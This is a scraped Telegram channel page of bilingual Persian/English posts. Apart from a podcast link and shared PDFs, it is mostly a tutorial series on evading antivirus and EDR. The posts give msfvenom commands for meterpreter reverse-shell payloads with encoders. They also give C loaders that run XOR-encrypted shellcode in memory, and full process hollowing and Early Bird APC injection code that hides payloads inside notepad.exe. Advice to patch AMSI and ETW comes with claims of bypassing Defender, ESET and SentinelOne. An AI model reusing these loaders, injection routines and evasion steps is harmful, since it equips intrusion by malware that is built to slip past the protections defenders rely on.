ReverseEngineering – Telegram
ReverseEngineering
1.24K subscribers
40 photos
10 videos
55 files
666 links
Download Telegram
رادیو امنیت اپیزود 87 - هکر ایرانی در تله فدرال
LianGroup.net
قسمت پنجاه و یکم Safe Cast

💢 موضوعات این قسمت:

00:14 مقدمه

02:52 هکرهای ایرانی و دسترسی مداوم به زیرساخت‌های حیاتی خاورمیانه

21:31 اعتراف هکر ایرانی (سینا قلی‌نژاد) به باج‌گیری سایبری

33:56 فرمان از راه دور در دل رویدادهای تقویمی

47:35 کد پنهان در فایل ناقص؛ تشخیص‌ناپذیر برای هفته‌ها


🔗 لینک مشاهده در CastBox :
https://lian.ac/kgG

🎙 با حضور: حسین الفت، وحید علمی و رضا الفت

@safe_defense
#safe_cast
6👏1
🔪 بایپس آنتی‌ویروس‌ها: وقتی شکارچی، شکارچی رو دور میزنه. ⚡️

👺بایپس آنتی‌ویروس یعنی ورود از در پشتی دنیای صفر و یک...

آنتی‌ویروس‌ها، EDRها و حتی XDRهای نسل جدید مثل سگ‌های نگهبان پشت درِ سیستم وایسادن.ولی مشکل اینجاست: این سگ‌ها همه چیز رو نمی‌فهمن.

👁 اون‌چیزی که یه ابزار امنیتی می‌بینه همیشه تمام واقعیت نیست ما یاد می‌گیریم چطور طوری حرکت کنیم که اصلا دیده نشیم نه با خشونت با ظرافت، با مهندسی.

💻 اینجا قرار نیست فقط یه "فایل مخرب" بسازیم که آنتی‌ویروس رد نکنه اینجا نشونتون میدم:

چطور امضای تو توی باینری دیده نشه

چطور shellcode رو بدون صدا وارد حافظه کنیم

چطور توی دل process ویندوز جا خوش کنیم و حتی خود defender رو فریب بدیم

و در نهایت چطور همه لایه‌های دفاعی مثل AMSI، ETW، حتی SIEM رو دور بزنیم...


⚠️ ولی قبل از هرچیز باید بدونید با چی طرفید:

AV فقط دنبال فایل مشکوکه

EDR دنبال رفتار پروسس‌ هاست

XDR دنبال ارتباط بین سیستم‌ها و لاگ‌ هاست


🔪 Bypassing Antivirus: When the Hunter Outsmarts the Watchdogs ⚡️👺

Bypassing AV is like sneaking in through the backdoor of the digital world...

Antiviruses, EDRs, and even next-gen XDRs are standing guard like watchdogs at the gates of your system.
But here’s the catch: those dogs don’t see everything.

👁 What a security tool sees is never the full picture.
We’re here to learn how to move without being seen — not with brute force, but with elegance and engineering.

💻 This isn’t just about building a “malicious file” that AVs won’t flag.
Here’s what I’m going to show you:

How to make sure your signature doesn’t show up in the binary

How to inject shellcode into memory without making a sound

How to nest inside a Windows process and even trick Defender itself

And ultimately, how to bypass all layers of defense: AMSI, ETW, even SIEM…


⚠️ But before anything else, you need to know what you’re dealing with:

AV is looking for suspicious files

EDR is watching process behavior

XDR is tracking system-to-system communications and logs
🔥5👏1
ReverseEngineering
🔪 بایپس آنتی‌ویروس‌ها: وقتی شکارچی، شکارچی رو دور میزنه. ⚡️ 👺بایپس آنتی‌ویروس یعنی ورود از در پشتی دنیای صفر و یک... آنتی‌ویروس‌ها، EDRها و حتی XDRهای نسل جدید مثل سگ‌های نگهبان پشت درِ سیستم وایسادن.ولی مشکل اینجاست: این سگ‌ها همه چیز رو نمی‌فهمن. 👁 اون‌چیزی…
🔬 تست ساده: Defender واقعا حواسش هست؟

بیاید یه تست کوچولو بگیریم از Windows Defender
ببینیم با یه payload کلاسیک چطور برخورد میکنه و چطور با یه ذره زرنگی میشه از روش رد شد!

🧪 ساختن یک فایل مشکوک

با متاسپلویت یا msfvenom یه shellcode تولید میکنیم

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o evil.exe

📎 فایل evil.exe به‌طور مستقیم توی بیشتر سیستم‌ها شناسایی و حذف میشه چون امضاش معروفه

💥 نتیجه؟

🔴 Defender
سریع پاکش میکنه چون Signature detection جواب میده هنوز



🎭 Obfuscation ساده

حالا همین payload رو با encoder درون msfvenom رمزگذاری میکنیم

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o bypassed.exe

📎 اینجا از encoder معروف shikata_ga_nai استفاده کردیم میتونیم تعداد دورهای رمزگذاری رو هم زیاد کنی (-i 5 یعنی ۵ بار)

نتیجه؟

🟡 گاهی اوقات عبور میکنه گاهی نه بستگی به heuristic engine داره




🧩 ولی چرا این مهمه؟

چون:

امضا(Signature) ها با یه تغییر کوچیک بهم میریزن

ولی اگه سیستم رفتار shellcode رو تحلیل کنه (مثل EDR ها) هنوز میتونه بگیرت


📌 اینجا جرقه زده میشه که:
فقط obfuscation کافی نیست باید از حافظه استفاده کنیم باید به جای "نوشتن" "تزریق" کنیم...



🔬 Quick Test: Is Windows Defender Really Paying Attention?

Let’s run a simple experiment and see how Windows Defender reacts to a classic payload — and how just a bit of trickery can get around it.

🧪 Creating a Suspicious File
Using Metasploit or msfvenom, we generate a basic shellcode payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o evil.exe

📎 The evil.exe file will be flagged and deleted on most systems — it’s a well-known signature.

💥 Result?
🔴 Defender immediately removes it using signature-based detection — because it still works.

🎭 Basic Obfuscation
Now let’s encrypt the same payload using a built-in encoder:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o bypassed.exe

📎 We used the popular shikata_ga_nai encoder here. The -i 5 flag tells it to encode the payload 5 times.

Result?
🟡 Sometimes it bypasses detection — sometimes not. It depends on Defender’s heuristic engine.

🧩 But why does this matter?
Because:

Signatures break with even small changes

But behavior-based systems (like modern EDRs) can still catch it


📌 The takeaway:
Obfuscation alone isn’t enough.
We need to operate from memory — not write, but inject.
🔥31👏1🫡1
ReverseEngineering
🔪 بایپس آنتی‌ویروس‌ها: وقتی شکارچی، شکارچی رو دور میزنه. ⚡️ 👺بایپس آنتی‌ویروس یعنی ورود از در پشتی دنیای صفر و یک... آنتی‌ویروس‌ها، EDRها و حتی XDRهای نسل جدید مثل سگ‌های نگهبان پشت درِ سیستم وایسادن.ولی مشکل اینجاست: این سگ‌ها همه چیز رو نمی‌فهمن. 👁 اون‌چیزی…
👻 اجرای شِل‌کُد از حافظه بدون فایل، بدون ردپا!

دیگه وقتشه وارد بازی جدی بشیم
اگه تا حالا payload‌ رو با فرمت exe ذخیره میگردی، بدون که اون دوره تموم شده

🕶 الان دیگه بازی توی RAM اتفاق میافته بدون نوشتن روی دیسک بدون امضا بدون آلارم!




💉 اجرای شل‌کد در حافظه با C

کد زیر:

یه آرایه از بایت‌ها رو (یعنی همون شل‌کُد) توی حافظه کپی میکنه

با VirtualAlloc حافظه رزرو میکنه

بعد با CreateThread اجراش میکنه


#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8"; // فقط چند بایت نمایشی – جایگزین کن با شل‌کُد واقعی

int main() {
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!exec) {
printf("VirtualAlloc failed\n");
return 1;
}

memcpy(exec, shellcode, sizeof shellcode);

DWORD threadId;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, &threadId);
if (!hThread) {
printf("CreateThread failed\n");
return 1;
}

WaitForSingleObject(hThread, INFINITE);
return 0;
}


📌 نکات مهم:

باید شل‌کُد خام (مثلاً از msfvenom -f c) رو توی shellcode[] بذاری.

کامپایل با MinGW توصیه میشه

اگه شل‌کُدت 64 بیتی باشه باید با x86_64-w64-mingw32-gcc کامپایل کنی.





🚫 چرا این کد کمتر شناسایی می‌شه؟

🔹 چون:

هیچ فایل مخربی روی دیسک تولید نمیکنه

هیچ string مشکوکی نداره (فقط چند API استاندارد)

رفتار پیش‌فرض AVها باهاش مشکل نداره (مگر اینکه حافظه رو اسکن کنن)





🧨 اگه خواستی این کد هم بیشتر مخفی بشه:

از تابع NtCreateThreadEx به‌جای CreateThread استفاده کن (syscall)

قبل از اجرا، ETW و AMSI رو پچ کن

کل شل‌کُد رو با XOR رمزگذاری کن و هنگام اجرا Decrypt کن



👻 Fileless Shellcode Execution – No Footprint, No Limits!
It’s time to step up your game.
If you’re still saving your payloads as .exe files, let’s be honest — that era is over. 🕶

These days, it’s all about running code directly in memory:

No writing to disk

No signatures

No alerts


💉 Shellcode Execution in Memory (Using C)
The following code allocates memory, copies raw shellcode to it, and executes it via a new thread:

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8"; // Sample bytes – replace with actual shellcode

int main() {
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!exec) {
printf("VirtualAlloc failed\n");
return 1;
}

memcpy(exec, shellcode, sizeof shellcode);

DWORD threadId;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, &threadId);
if (!hThread) {
printf("CreateThread failed\n");
return 1;
}

WaitForSingleObject(hThread, INFINITE);
return 0;
}





📌 Important Notes:

Replace shellcode[] with actual shellcode (e.g., generated via msfvenom -f c)

Compile with MinGW for best compatibility

For 64-bit shellcode, use:
x86_64-w64-mingw32-gcc


🚫 Why is this stealthier than traditional methods?
🔹 No malicious files dropped on disk
🔹 No suspicious strings — just standard API calls
🔹 Bypasses most AV heuristics unless memory is actively scanned

🧨 Want even more stealth?

Use NtCreateThreadEx instead of CreateThread (direct syscall)

Patch ETW and AMSI before execution

XOR-encrypt your shellcode and decrypt it at runtime
👍102🫡1
🕵🏻 شِل‌کُد مخفی: وقتی دشمن شل کد رو نمی‌فهمه!

AV/EDR
ها معمولا حافظه رو اسکن میکنن تا امضای شِل‌کُد رو پیدا کنن
حتی اگه فایل هم نداشته باشی ممکنه تو RAM پیدات کنن 😐

🧠 ولی اگه شل‌کدت رمزنگاری شده باشه چی؟
هیچ اثری از امضا نیست هیچ چیزی قابل تشخیص نیست...
تا وقتی خودموم توی لحظه اجرا، decryptش کنیم



🔐 رمزگذاری ساده با XOR

ما شل‌کد رو با یه کلید ساده 0xAA رمز میکنیم
بعد در زمان اجرا یه تابع کوچیک اون رو رمزگشایی میکنه



🔧 کد کامل C – اجرای شل‌کُد رمزنگاری‌شده

#include <windows.h>
#include <stdio.h>

unsigned char encrypted_shellcode[] = {
0x56, 0xe2, 0x29, 0x49 // چند بایت XOR شده برای مثال – جایگزین کن با شل‌کدت
};

int decrypt_shellcode(unsigned char *sc, int len, unsigned char key) {
for (int i = 0; i < len; i++) {
sc[i] ^= key;
}
return 0;
}

int main() {
SIZE_T sc_len = sizeof(encrypted_shellcode);
unsigned char key = 0xAA;

// Allocate memory
void *exec = VirtualAlloc(0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) return 1;

// Decrypt
memcpy(exec, encrypted_shellcode, sc_len);
decrypt_shellcode((unsigned char*)exec, sc_len, key);

// Run
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

return 0;
}



⚙️ چطوری شل‌کدت رو XOR کنی؟

یه اسکریپت پایتون ساده:

shellcode = b"\xfc\x48\x83\xe4\xf0\xe8" # شل‌کد خام
key = 0xAA
encrypted = bytes([b ^ key for b in shellcode])
print(', '.join(f'0x{b:02x}' for b in encrypted))




📌 چرا این روش کار می‌کنه؟

چون تا لحظه آخر توی حافظه خبری از امضای واقعی نیست
چون AVها فقط دنبال الگوهای مشخصن
چون تا وقتی رمز باز نشه چیزی برای شناسایی وجود نداره



🕵🏻 Stealthy Shellcode: When the enemy can’t recognize your shellcode!

AVs and EDRs often scan memory looking for shellcode signatures.
Even if there's no file involved, they can still catch you in RAM. 😐

🧠 But what if your shellcode is encrypted?
No signature.
Nothing recognizable.
Not until you decrypt it at runtime.




🔐 Simple XOR Encryption

We encrypt the shellcode using a simple XOR key (e.g., 0xAA)
Then, at runtime, we decrypt it with a tiny function — just before execution.




🔧 Full C Code – Running Encrypted Shellcode

#include <windows.h>
#include <stdio.h>

unsigned char encrypted_shellcode[] = {
0x56, 0xe2, 0x29, 0x49 // Encrypted bytes (example) — replace with your payload
};

int decrypt_shellcode(unsigned char *sc, int len, unsigned char key) {
for (int i = 0; i < len; i++) {
sc[i] ^= key;
}
return 0;
}

int main() {
SIZE_T sc_len = sizeof(encrypted_shellcode);
unsigned char key = 0xAA;

// Allocate memory
void *exec = VirtualAlloc(0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) return 1;

// Copy and decrypt
memcpy(exec, encrypted_shellcode, sc_len);
decrypt_shellcode((unsigned char*)exec, sc_len, key);

// Run
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

return 0;
}




⚙️ How to XOR your shellcode?

Just use a simple Python noscript:

shellcode = b"\xfc\x48\x83\xe4\xf0\xe8" # Raw shellcode
key = 0xAA
encrypted = bytes([b ^ key for b in shellcode])
print(', '.join(f'0x{b:02x}' for b in encrypted))




📌 Why does this work?

Because there’s no detectable signature in memory
Because AVs look for known patterns not encrypted blobs
Because until it's decrypted, there's nothing to recognize
2👍1
🧠 Obfuscation پیشرفته – ذهن تحلیل‌گر رو منفجر کن


1 Instruction Substitution (جایگزینی دستورات)

کد رو طوری بازنویسی میکنن که همون عملکرد رو بده ولی با دستورات متفاوت

مثال:

به جای:

mov eax, 0

میشه نوشت:

xor eax, eax


یا یه چیز خیلی پیچیده‌تر:

sub eax, eax
add eax, eax


ابزارهای تحلیل ساده مثل IDA ممکنه نفهمن اینا معادلن.



2 Stack Tampering (دستکاری استک)

توابعی ساخته میشن که با push و pop و تغییر دستی ESP/EBP ساختار استک رو خراب میکنن در نتیجه بک‌تریس و call graph می‌ریزه به هم

اثرات:

IDA تو تشخیص توابع به اشتباه می‌افته

دیباگر دچار خطای نمایش Call Stack میشه




3 Inline Exception Handler Abuse

برنامه طوری نوشته میشه که Exception تولید میکنه و توی handler تصمیم میگیره ادامه بده یا نه!

mov eax, 0
div eax ; Exception: divide by zero!


در ادامه:

__try {
// کد مشکوک
} __except (EXCEPTION_EXECUTE_HANDLER) {
// مسیر مخفی رو اجرا کن
}


🔒 خیلی از ابزارها این رفتار رو شناسایی نمیکنن.



4 Polymorphic Obfuscation

کدی که هر بار اجراش فرق میکنه ولی نتیجه یکسانه معمولاً با Self-modifying code ترکیب میشه

مثلا:

mov eax, 1
add eax, 1


در نسخه دیگه تبدیل میشه به:

xor eax, eax
inc eax
inc eax


📛 هر بار sign‌ کردن یا هش کردن فایل متفاوت میشه → سخت برای آنتی‌ویروس‌ها و signature-based tools



5 Call Stack Hiding با Return Oriented Programming (ROP)

کد اصلی هیچ‌وقت اجرا نمیشه فقط با استفاده از گجت‌ها و return‌های متوالی کار پیش میره!

ضد دیباگ
ضد sign
فوق‌العاده برای بایپس EDR/XDR




6 Anti-Deobfuscation Traps

کدهایی که وقتی ابزار تحلیل (مثل Ghidra یا IDA) می‌خواد decompile کنه، باعث کرش یا اشتباه تو تحلیل میشن. مثلاً:

invalid opcodes

بخش‌های ناقص در section header

اجرای کد از data section




7 Code Transposition (جابجایی کد)

بلاک‌های کد تو فایل باینری به ترتیب نیستن فقط موقع اجرا از طریق jmp/call مناسب ترتیب اجراشون درست میشه برای تحلیلگر مثل یک پازل بدون راهنماست



8 VM-based Obfuscation (Virtualization Protection)

🔐 پیشرفته‌ترین سطح Obfuscation
کل برنامه یا بخش حساس با زبانی مجازی نوشته میشه و یه VM داخلی اون رو اجرا می‌کنه. VMProtect، Tigress و Code Virtualizer از این روش استفاده میکنن

👀 خروجی فقط یه‌سری byte عجیبن، مثل:

db 0x9F, 0xB3, 0x4D, 0x81


تحلیل اینا نیازمند:

درک VM داخلی

مهندسی معکوس ماشین مجازی

ابزارهای custom


🧠 Advanced Obfuscation – Blow the Analyst’s Mind

Let’s dive into some serious obfuscation techniques that break disassemblers, confuse debuggers, and frustrate reverse engineers:




1 Instruction Substitution

Rewriting code to perform the same task using different instructions.

Instead of:

mov eax, 0


Use:

xor eax, eax


Or something even trickier:

sub eax, eax
add eax, eax


Basic analysis tools like IDA might fail to recognize these as equivalent.




2 Stack Tampering

Functions are written to manipulate the stack manually using push, pop, or directly modifying ESP/EBP.

🧨 This breaks:

Backtracing

Call graphs

Proper function recognition in IDA

Stack display in debuggers





3 Inline Exception Handler Abuse

The program intentionally causes an exception, then handles it to control execution flow:

mov eax, 0
div eax ; Division by zero!


Then handles it:

__try {
// Suspicious code
}
__except(EXCEPTION_EXECUTE_HANDLER) {
// Execute hidden path
}


🔒 Many tools don't properly track this behavior.




4 Polymorphic Obfuscation

The code changes each time it runs — but behaves the same.

Often mixed with self-modifying code.

Example:

mov eax, 1
add eax, 1


Could become:

xor eax, eax
inc eax
inc eax


📛 Every build is different → hard to sign, hash, or detect via static analysis.




5 Call Stack Hiding via Return-Oriented Programming (ROP)

The real code never runs directly — instead, execution jumps through “gadgets” ending in ret.

Anti-debug
Signature-less
Excellent for EDR/XDR evasion




6 Anti-Deobfuscation Traps

Insert code that crashes or misleads analysis tools like IDA or Ghidra:

Invalid opcodes

Corrupted section headers

Executing code from the .data section


💥 Boom — decompiler breaks or misinterprets.




7 Code Transposition (Block Reordering)
2
Code blocks are stored out of order in the binary.
Only during execution, via jmp or call, the real sequence unfolds.

🧩 Like solving a puzzle with no hints for the analyst.




8 VM-Based Obfuscation (Virtualization Protection)

🔐 The ultimate in code protection.

Critical logic is rewritten in a custom virtual instruction set and executed by an internal VM.

Used by tools like:

VMProtect

Code Virtualizer

Tigress


👀 Output becomes unreadable gibberish:

db 0x9F, 0xB3, 0x4D, 0x81


To reverse it, you need:

Deep understanding of the custom VM

Reverse engineering the virtual machine itself

Custom tooling
1
🧟 Process Hollowing – قاپ زدن یه برنامه سالم برای اجرای یه چیز خبیث!



🎭 وقتی ظاهر Task Manager فریب می‌ده...

فرض کن توی Task Manager یه process کاملا بی‌گناه می‌بینی مثلاً notepad.exe
ولی پشتش… شل‌کُد تو داره اجرا می‌شه 😈

این کار دقیقاً همونه که توی Process Hollowing اتفاق می‌افته:



🔬 مراحل کار:

1. یه پروسه سالم (مثلا notepad) رو به‌صورت suspended اجرا میکنی


2 حافظه اون پروسه رو خالی (unmap) میکنی


3 شل‌کد خودتو مینویسی توی اون حافظه


4 اجرای اون پروسه رو شروع می‌کنی… اما این بار با کد تو!


🧬 کد C ساده – Process Hollowing در سطح پایه



#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0 // shellcode واقعی‌تو جایگزین کن
};

int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

// 1. ایجاد پروسه‌ای که قراره hollow بشه (suspended)
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed.\n");
return -1;
}

// 2. گرفتن context پردازنده (برای دسترسی به ریجسترها)
GetThreadContext(pi.hThread, &ctx);

// 3. خواندن آدرس پایه (ImageBase) از PEB
LPVOID imageBase;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rdx + 0x10), &imageBase, sizeof(LPVOID), NULL);

// 4. پاک کردن حافظه‌ی فعلی
NtUnmapViewOfSection(pi.hProcess, imageBase); // نیاز به تعریف این تابع داری!

// 5. اختصاص حافظه و نوشتن shellcode
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, imageBase, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteMem, payload, sizeof(payload), NULL);

// 6. ست کردن آدرس Entry Point
ctx.Rcx = (DWORD64)remoteMem;
SetThreadContext(pi.hThread, &ctx);

// 7. اجرای پروسه
ResumeThread(pi.hThread);

return 0;
}





⚠️ نکات خیلی مهم:

باید NtUnmapViewOfSection رو از ntdll لود کنی یا با syscall صدا بزنی

Shellcode حتماً باید با همون معماری target ساخته بشه (x64 یا x86)

فایل اجرایی ظاهرش سالمه ولی در واقع شل‌کد تو اجرا میشه




😱 چرا Process Hollowing خطرناکه؟

ظاهر Task Manager دروغه
هیچ فایل مشکوکی ایجاد نمی‌شه
بسیاری از AV/EDRها نمی‌تونن تحلیل حافظه انجام بدن (مخصوصا اگه با تکنیک‌های دیگه مثل unhook همراه شه)


🧟 Process Hollowing – Hijacking a Legit Process to Run Something Evil!


🎭 When Task Manager lies to your face...

Imagine seeing a perfectly innocent process like notepad.exe in Task Manager —
But under the hood... it’s running your shellcode 😈

That’s exactly what Process Hollowing does:



🔬 How It Works (Step-by-Step)

1 Launch a legit process (like notepad.exe) in suspended mode


2 Unmap its original memory


3 Write your own shellcode into that memory


4 Resume the process — but now, your code runs instead!





🧬 Basic C Code – A Simple Process Hollowing Example

#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0 // Replace with your actual shellcode
};

int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

// 1. Start notepad in suspended mode
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed.\n");
return -1;
}

// 2. Get the thread context (to access registers)
GetThreadContext(pi.hThread, &ctx);

// 3. Read ImageBase from PEB
LPVOID imageBase;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rdx + 0x10), &imageBase, sizeof(LPVOID), NULL);

// 4. Unmap original image (NtUnmapViewOfSection must be resolved!)
NtUnmapViewOfSection(pi.hProcess, imageBase);

// 5. Allocate memory and write shellcode
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, imageBase, sizeof(payload),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteMem, payload, sizeof(payload), NULL);
2
// 6. Set new entry point
ctx.Rcx = (DWORD64)remoteMem;
SetThreadContext(pi.hThread, &ctx);

// 7. Resume execution
ResumeThread(pi.hThread);

return 0;
}




⚠️ Important Notes

You must resolve NtUnmapViewOfSection dynamically (from ntdll.dll) or use a direct syscall

Shellcode must match the architecture (x64 or x86)

The process looks clean, but runs your payload!




😱 Why Process Hollowing is Dangerous ?

Foolproof appearance in Task Manager
No suspicious executable is dropped
Many AVs/EDRs don’t perform memory analysis — especially if you combine with unhooking
Roadmap Reverse Engineering.pdf
4 MB
اگه خواستید از این رودمپ استفاده کنید این بهتر و کامل تره

If you want to use this roadmap, it's better and more complete

#roadmap
🔥111🤣1
ساختار فایل ELF در لینوکس.pdf
292.3 KB
یکی از دوستان زحمت درست کردن این PDF رو کشیده خیلی ممنونم ازش حمایت کنید اگه راضی بودید بگم دوباره بسازه هر وقت تونست
@Chaos_Benji
🔥9👏1
wasm_fp.pdf
1.7 MB
Browser Fingerprinting Using WebAssembly, 2025.
2
🐥 Early Bird Injection

«شل‌کدت رو قبل از اینکه EDR بفهمه تزریق کن!»




🧠 مفهوم Early Bird Injection

تو بیشتر حمله‌های تزریق (مثل Process Hollowing) Inject زمانی انجام میشه که پروسه target تا حدودی لود شده
ولی بعضی AV/EDRها قبل از Resume کردن پروسه hook و تحلیل خودشون رو شروع میکنن

اینجاست که Early Bird Injection می‌درخشه:

🔸 قبل از اینکه AV/EDR شروع به مانیتور کردن کنه
🔸 قبل از اینکه main() هدف اجرا شه
🔸 توی همون لحظه‌ای که پروسه suspended مونده




⚙️ مراحل کلی:

1 ایجاد یه پروسه با فلگ CREATE_SUSPENDED


2 تخصیص حافظه در اون پروسه


3 نوشتن شل‌کد یا DLL در حافظه‌ی هدف


4 استفاده از QueueUserAPC برای صف کردن اجرای شل‌کد


5 Resume
کردن Thread → شل‌کدت اجرا میشه به‌جای کد اصلی






🔐 مزایا:

تزریق توی لحظه‌ای که هیچ AV هنوز attach نشده
بدون استفاده مستقیم از CreateRemoteThread
بای‌پس خیلی از AV/EDRهای معمول مثل Defende، ESET حتی بعضی نسخه‌های SentinelOne




💻 کد ساده Early Bird Injection (C)

#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0 // شل‌کد دلخواه رو جایگزین کن
};

int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};

// 1. ایجاد پروسه به صورت SUSPENDED
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed (%d).\n", GetLastError());
return -1;
}

// 2. تخصیص حافظه در پروسه هدف
LPVOID remoteAddr = VirtualAllocEx(pi.hProcess, NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteAddr, payload, sizeof(payload), NULL);

// 3. استفاده از APC برای تزریق شل‌کد
QueueUserAPC((PAPCFUNC)remoteAddr, pi.hThread, NULL);

// 4. اجرای پروسه → اجرای شل‌کد
ResumeThread(pi.hThread);

return 0;
}





🔍 نکته مهم:

فقط روی thread هایی که alertable هستن (WaitForSingleObjectEx) اجرا میشه ولی توی حالت SUSPENDED، چون ویندوز پروسه رو alertable resume میکنه این تکنیک جواب میده

این یکی از stealth‌ ترین روش‌هاست اگه با syscall و PPID Spoof ترکیب بشه



🐥 Early Bird Injection
"Inject your shellcode before the EDR even notices!"

🧠 What is Early Bird Injection?
In most injection techniques (like Process Hollowing), the payload is injected after the target process has partially loaded.
But some modern AVs/EDRs begin hooking and analysis even before the process is resumed.
That's where Early Bird Injection shines:

🔸 Before the AV/EDR starts monitoring
🔸 Before the target’s main() executes
🔸 Right at the moment the process is still suspended

⚙️ Basic Steps:

1 Create a process with the CREATE_SUSPENDED flag


2 Allocate memory in the target process


3 Write your shellcode or DLL into that memory


4 Use QueueUserAPC to queue execution of the payload


5 Resume the main thread → Shellcode runs instead of original entry point



🔐 Advantages:
Injection occurs before any AV attaches
No direct use of CreateRemoteThread
Can bypass many AV/EDRs like Defender, ESET, even some versions of SentinelOne

💻 Simple Early Bird Injection (C):

#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0 // Replace with your actual shellcode
};

int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};

// 1. Create the process in suspended state
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed (%d).\n", GetLastError());
return -1;
}

// 2. Allocate memory in the target process
LPVOID remoteAddr = VirtualAllocEx(pi.hProcess, NULL, sizeof(payload),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteAddr, payload, sizeof(payload), NULL);

// 3. Queue the shellcode via APC
QueueUserAPC((PAPCFUNC)remoteAddr, pi.hThread, NULL);

// 4. Resume the thread → shellcode gets executed
ResumeThread(pi.hThread);

return 0;
}
1
🔍 Important Note:
This technique only works if the thread is in an alertable state (like via WaitForSingleObjectEx).
However, when a thread is resumed from SUSPENDED, Windows starts it in an alertable state — making this trick effective.

🕵️‍♂️ One of the stealthiest injection methods — and even more powerful when combined with syscalls and PPID spoofing.
1